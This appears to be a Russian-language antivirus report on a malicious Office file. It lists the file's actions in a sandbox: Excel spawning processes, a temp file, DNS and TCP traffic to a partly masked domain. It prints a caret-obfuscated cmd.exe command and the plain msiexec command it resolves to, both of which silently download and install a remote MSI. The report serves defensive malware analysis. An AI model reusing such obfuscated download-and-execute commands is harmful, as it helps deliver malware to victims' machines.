Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C m^SiE^x^e^c /i https://www.cu####eroues.com/mpa/2.msi /qn
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{ac55efa6-4202-442a-a779-57a54f707232}.tmp
Сетевая активность
TCP
- 'cu####eroues.com':443
UDP
- DNS ASK cu####eroues.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C m^SiE^x^e^c /i https://www.cu####eroues.com/mpa/2.msi /qn' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '<SYSTEM32>\msiexec.exe' /i https://www.cu####eroues.com/mpa/2.msi /qn
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
